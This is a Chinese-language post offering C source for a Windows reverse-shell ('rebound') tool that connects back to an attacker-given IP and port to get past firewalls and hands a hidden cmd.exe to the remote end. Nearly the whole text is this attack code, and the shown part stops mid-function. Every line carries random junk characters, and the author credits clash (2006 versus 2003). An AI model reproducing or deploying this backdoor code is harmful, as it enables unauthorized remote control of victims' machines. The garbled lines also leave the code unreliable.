这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 bSvr8FY3d
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/* ============================== vjz 'y[D
Rebound port in Windows NT AL{r/h
By wind,2006/7 hVe39BBtO
===============================*/ ,u@Vi0
#include ]Dd}^khv
#include ur@"wcl"V
U'oFW@Y;h
#pragma comment(lib,"wsock32.lib") UfxYD
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void OutputShell(); >X58 zlxk
SOCKET sClient; `iZ){JfAH
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; WFm\ bZ.
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void main(int argc,char **argv) Bid+,,
{ F[5sFkM7
WSADATA stWsaData; :v
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int nRet; dc=}c/6x
SOCKADDR_IN stSaiClient,stSaiServer; x;@wtd*QB
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if(argc != 3) *u ^m f~
{ y3Qb2l
printf("Useage:\n\rRebound DestIP DestPort\n"); ggL^*MV
return; '?O_(%3F0
} 4m"6$
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WSAStartup(MAKEWORD(2,2),&stWsaData); EFdo-.Ax
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,~nrNkhp
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stSaiClient.sin_family = AF_INET; r-8fvBZ5
stSaiClient.sin_port = htons(0); )[np{eF.k
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); {7Qj+e^
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) rInZd`\
{ VtYrU>q
printf("Bind Socket Failed!\n"); $i9</Es
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return; es!>u{8)
} X6-;vnlKN
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stSaiServer.sin_family = AF_INET; bB+ 4
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); TJ_pMU
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); qx f8f
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) r>_40+|&
{ |E?,hTRe5
printf("Connect Error!"); 4r tNvf5`
return; zXZXp~7)
} ~kp,;!^vr
OutputShell();
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} +[B@83
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void OutputShell() T?k!%5,Kj
{ ,JqCxb9
char szBuff[1024]; B6-1q&
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SECURITY_ATTRIBUTES stSecurityAttributes; SSn{,H8/j
OSVERSIONINFO stOsversionInfo; )N3XbbV
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 8s9ZY4_
STARTUPINFO stStartupInfo; 'B9q&k%<
char *szShell; 1a79]-j
PROCESS_INFORMATION stProcessInformation; *&doI%q
unsigned long lBytesRead; rr^?9M*{V
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); bZlKy`Z
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Y|nC_7&Bv
stSecurityAttributes.lpSecurityDescriptor = 0; r?2J
stSecurityAttributes.bInheritHandle = TRUE; `
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); i5#4@ 4aC
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); MG:eI?G/'
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); |crm{]7X
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; L/xTW
stStartupInfo.wShowWindow = SW_HIDE; NiBly
stStartupInfo.hStdInput = hReadPipe; 0q o]nw
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 3W3)%[ 5
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GetVersionEx(&stOsversionInfo); ]XjL""EbC
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switch(stOsversionInfo.dwPlatformId) 1b,MJ~g$
{ w&x$RP
case 1: >Vph_98|
szShell = "command.com"; h'.B-y~c
break; a`6R}|ZB
default: Dg}$;PK
szShell = "cmd.exe"; j@.^3:
break; Mhu|S)hn
} &P&VJLA